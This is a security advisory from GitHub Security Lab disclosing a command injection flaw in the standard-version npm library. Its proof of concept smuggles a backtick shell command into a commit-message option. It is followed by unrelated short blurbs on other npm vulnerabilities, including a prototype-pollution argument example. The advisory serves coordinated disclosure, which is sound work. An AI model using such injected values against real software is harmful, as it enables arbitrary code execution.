GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-111

The GitHub Security Lab team has identified a potential security vulnerability in standard-version.

Summary

The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

Standard Version

Tested Version

Commit 2f04ac8

Details

Issue 1: Command injection in standardVersion

The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:

npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"

Now create a file with the following contents:

var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

const standardVersion = require('standard-version')

standardVersion({
  noVerify: true,
  infile: 'foo.txt',
  releaseCommitMessageFormat: "bla `touch exploit`"
})

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-111 in any communication regarding this issue.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Prototype pollution vulnerability in dot-prop npm package versions before 4.2.1 and versions 5.x before 5.1.1 allows an attacker to add arbitrary properties to JavaScript language constructs such as objects.

@rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method.

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Affected versions of yargs-parser are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --foo.__proto__.bar baz' adds a bar property with value baz to all objects. This is only exploitable if attackers have control over the arguments being passed to yargs-parser.

Recommendation

Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.